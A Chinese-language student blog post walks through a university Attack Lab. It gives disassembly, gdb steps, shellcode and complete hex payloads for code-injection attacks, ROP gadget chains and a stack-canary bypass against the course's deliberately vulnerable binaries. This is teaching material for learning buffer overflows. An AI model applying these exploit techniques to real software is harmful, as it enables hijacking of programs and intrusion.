Introduction

Attack Lab是ICS课程的第三个lab,顾名思义就是让我们想办法攻击一些程序,让其偏离原先的运行方式。这个lab的主要目的是理解缓冲区以及缓冲区溢出的隐患,以及相应的攻防。实验要求进行六次攻击,分别对应不同程度的防范,这可以说是所有lab里面最有趣的一个了。而且当时的树洞有很多求助贴却只得到了冷嘲热讽或者猜谜一般的回复,当且仅当你知道怎么写这个lab的时候你才能理解他们的“指点”。

或许你会觉得Alice已经给出了提醒,但是事实是:偏移的offset是0x128,所以如果你没有做出来根本就不能获得正确的提示,反而会被引入歧途,毕竟谁会想到128竟然是个十六进制的数呢。

Code Injection Attacks

前三个phase都是让程序运行我们写入的代码,所以我们要设置好运行的程序或者地址,然后让程序在ret时进入我们安排好的位置。

phase1

这是一个热身,只要把运行的位置跳转到touch1就可以了。

首先要获得可执行程序的反汇编代码。

打开ctarget.asm文件,查看有关test的程序部分。在test调用getbuf之后会有ret指令,考虑用缓冲区溢出替换换来的返回地址,直接指向touch1。

1
2
3
4
5
6
7
00000000004018b2 <getbuf>:
4018b2: 48 83 ec 38 sub $0x38,%rsp
4018b6: 48 89 e7 mov %rsp,%rdi
4018b9: e8 31 03 00 00 callq 401bef <Gets>
4018be: b8 01 00 00 00 mov $0x1,%eax
4018c3: 48 83 c4 38 add $0x38,%rsp
4018c7: c3 retq

00000000004018b2 :
4018b2: 48 83 ec 38 sub $0x38,%rsp
4018b6: 48 89 e7 mov %rsp,%rdi
4018b9: e8 31 03 00 00 callq 401bef
4018be: b8 01 00 00 00 mov $0x1,%eax
4018c3: 48 83 c4 38 add $0x38,%rsp
4018c7: c3 retq

1
2
3
4
5
6
7
00000000004018b2 <getbuf>:
4018b2: 48 83 ec 38 sub $0x38,%rsp
4018b6: 48 89 e7 mov %rsp,%rdi
4018b9: e8 31 03 00 00 callq 401bef <Gets>
4018be: b8 01 00 00 00 mov $0x1,%eax
4018c3: 48 83 c4 38 add $0x38,%rsp
4018c7: c3 retq

touch1的地址是0x40193a,用小端法表示后的输入应当是

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
3a 19 40 00 00 00 00 00

最后不要忘记加回车保留一个空行,然后用hex2raw转换为字符串,并且执行。

1
2
./hex2raw < 1.txt >1.bin
./ctarget -qi 1.bin

热身环节就做完了。

phase2

这个阶段要求执行touch2函数,并且要传入cookie作为参数,也就是把cookie放在%rdi里。 我的cookie是0x77c3944f。

这里考虑先编写一段代码将cookie放到%rdi并执行touch2函数,然后在getbuf的ret处将程序执行跳转到自己写的代码处。 编写一小段汇编

1
2
3
movq $0x77c3944f,%rdi
pushq $0x401968
ret

然后用gcc和objdump转换为二进制代码

1
2
3
4
5
6
7
8
$ gcc -c 2.s
$ objdump -d 2.o
2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 4f 94 c3 77 mov $0x77c3944f,%rdi
7: 68 68 19 40 00 pushq $0x401968
c: c3 retq

要获得存放这段代码的位置,就要知道%rsp的值,幸运的是此处没有栈随机化,我们用gdb运行一次就可以知道这部分栈不变的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ gdb ./ctarget
(gdb) break getbuf
(gdb) run -qi 1.bin
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004018b2 <+0>: sub $0x38,%rsp
0x00000000004018b6 <+4>: mov %rsp,%rdi
0x00000000004018b9 <+7>: callq 0x401bef <Gets>
0x00000000004018be <+12>: mov $0x1,%eax
0x00000000004018c3 <+17>: add $0x38,%rsp
0x00000000004018c7 <+21>: retq
End of assembler dump.
(gdb) stepi
14 in buf.c
(gdb) p /x $rsp
$1 = 0x5561b7b8

这时得到的就是栈底的位置,直接把代码放在栈底并跳转到这个位置执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
48 c7 c7 4f 
94 c3 77 68
68 19 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
b8 b7 61 55

保存为2.txt,同样用hex2raw处理之后运行

1
2
./hex2raw < 2.txt >2.bin
./ctarget -qi 2.bin

第二关就过了。

phase3

这里要把cookie作为一个字符串传给touch3,跟phase2类似,将%rdi设为栈中cookie字符串的地址。 cookie转换成字符串后得到

1
37 37 63 33 39 34 34 66

此处考虑把cookie放在更高的位置,这样不容易被栈的变动更改。 小心计算cookie字符串的地址,与phase2类似编写汇编后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
48 c7 c7 f8
b7 61 55 68
7f 1a 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
b8 b7 61 55
00 00 00 00
37 37 63 33
39 34 34 66

保存为3.txt,同样用hex2raw处理之后运行

1
2
./hex2raw < 3.txt >3.bin
./ctarget -qi 3.bin

第三关就过了。

ROP Attack

phase4

从这关开始限制了可执行代码的区域,所以自己编写程序已经行不通了。但是实验已经设置了一个gadget farm,在这些代码中从某些特殊的位置开始执行,会有完全不同的效果。将多个gadget联合起来使用,就相当于执行了一条条汇编指令。 具体的实现实验说明上有写,网上一些博客也写的非常清楚,所以我略过说明直接开始做题。

要把cookie放到%rdi,一样考虑从栈popq到寄存器,所以在gadget farm查找popq %rdi的命令段。

然后就会发现找不到。

所以考虑迂回战术,先popq到另外的寄存器,然后movq到%rdi。这里正好有如下实现方式

1
2
popq %rax
movq %rax, %rdi
1
2
3
0000000000401b7c <setval_125>:
401b7c: c7 07 11 09 58 90 movl $0x90580911,(%rdi)
401b82: c3 retq

例如以上代码,58表示popq %rax,90是nop,c3是ret,就完成了汇编目的的第一行,所以起始代码位置应该是0x401b80。

寻找另一代码的地址,可以得到如下字符串

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 1b 40 00 00 00 00 00
4f 94 c3 77 00 00 00 00
6a 1b 40 00 00 00 00 00
f6 18 40 00 00 00 00 00

进行验证,成功。

phase5

在这一题需要传cookie的字符串作为参数,但是由于栈随机化策略,我们不能知道存放字符串的绝对地址,只能根据运行时的%rsp进行推算。所以解题的思路就是:

在适当的位置放入字符串
得到某个时刻%rsp的位置
对这个位置进行适当的偏移作为字符串的地址
第三步需要用到加法,但是gadget中并没有addq的指令编码,仔细观察可以看到gadget中原来就有一个add_xy

1
2
3
0000000000401b89 <add_xy>:
401b89: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401b8d: c3 retq

所以我之前总是说lab最好团队做,看教程做,这种一方面让你找ROP,另一方面又有这种直接用整段代码的题目有点像脑筋急转弯,想不到的话却是浪费时间。 那么思路就成了怎么把%rsp和偏移放到%rdi和%rsi,然后怎么把%rax放到%rdi。一样是迂回策略,仔细研究就可以发现以下路径:

1
2
3
4
5
6
7
8
9
10
11
popq %rax          401b80
0x20
movl %eax,%ecx 401bd8
movl %ecx,%edx 401c57
movl %edx,%esi 401c1a
movq %rsp,%rax 401baa
movq %rax,%rdi 401b4f
lea (%rdi,%rsi,1),%rax 401b89
movq %rax,%rdi 401b4f %rdi = %rsp + 0x20
touch3
cookie

得到%rsp的时候和cookie的地址差了4条指令,所以偏移就是32,当然如果先取出了%rsp,那么偏移就要相应更改。

得到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 1b 40 00 00 00 00 00
20 00 00 00 00 00 00 00
d8 1b 40 00 00 00 00 00
57 1c 40 00 00 00 00 00
1a 1c 40 00 00 00 00 00
aa 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
89 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
0d 1a 40 00 00 00 00 00
37 37 63 33 39 34 34 66
00 00 00 00 00 00 00 00

phase6

这是CMU原版lab没有的一个phase,网上也鲜有教程,树洞还都是谜语人,唉。。。。。。。

直接来看getbuf_withcanary,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0000000000401ad5 <getbuf_withcanary>:
401ad5: 55 push %rbp
401ad6: 48 89 e5 mov %rsp,%rbp
401ad9: 48 81 ec 20 01 00 00 sub $0x120,%rsp
401ae0: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401ae7: 00 00
401ae9: 48 89 45 f8 mov %rax,-0x8(%rbp)
401aed: 31 c0 xor %eax,%eax
401aef: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%rbp)
401af6: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
401afd: 48 89 c7 mov %rax,%rdi
401b00: e8 0c 02 00 00 callq 401d11 <Gets>
401b05: 8b 45 e4 mov -0x1c(%rbp),%eax
401b08: 48 98 cltq
401b0a: 48 8d 95 e0 fe ff ff lea -0x120(%rbp),%rdx
401b11: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx
401b15: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
401b1c: ba 80 00 00 00 mov $0x80,%edx
401b21: 48 89 c6 mov %rax,%rsi
401b24: 48 89 cf mov %rcx,%rdi
401b27: e8 d4 f2 ff ff callq 400e00 <memcpy@plt>
401b2c: b8 01 00 00 00 mov $0x1,%eax
401b31: 48 8b 75 f8 mov -0x8(%rbp),%rsi
401b35: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
401b3c: 00 00
401b3e: 74 05 je 401b45 <getbuf_withcanary+0x70>
401b40: e8 7f 06 00 00 callq 4021c4 <__stack_chk_fail>
401b45: c9 leaveq
401b46: c3 retq

直接想要写爆缓冲区是不可能的,canary的值会被更改。但是此处有一个魔幻的memcpy,其中的参数是可以通过写入字符串来修改的。所以我们可以考虑进行一些精巧的设定,在memcpy时正好把代码块放到canary之上覆盖原先的返回地址,从而达成劫持的目的。

source的起始位置已经定了就是读入字符串开始的位置,dest的位置应该是canary之上正好是返回地址的开始位置,所以是从栈底往上0x120+8也就是0x128的位置,然后把之前phase5的代码搬运到最开头即可。运行时memcpy之后代码就跑到了和phase5一样的位置上了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
80 1b 40 00 00 00 00 00
20 00 00 00 00 00 00 00
d8 1b 40 00 00 00 00 00
57 1c 40 00 00 00 00 00
1a 1c 40 00 00 00 00 00
aa 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
89 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
0d 1a 40 00 00 00 00 00
37 37 63 33 39 34 34 66
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 28 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

验证一下,确实没有问题。

Conclusion

过了一年再来重写这个lab(原先忘记保存了哭),还是花了好长的时间,网上居然依然找不到2020年的解题报告,不得不感叹人心不古啊,现在都没有人愿意造福后代了。

唉。。。。。。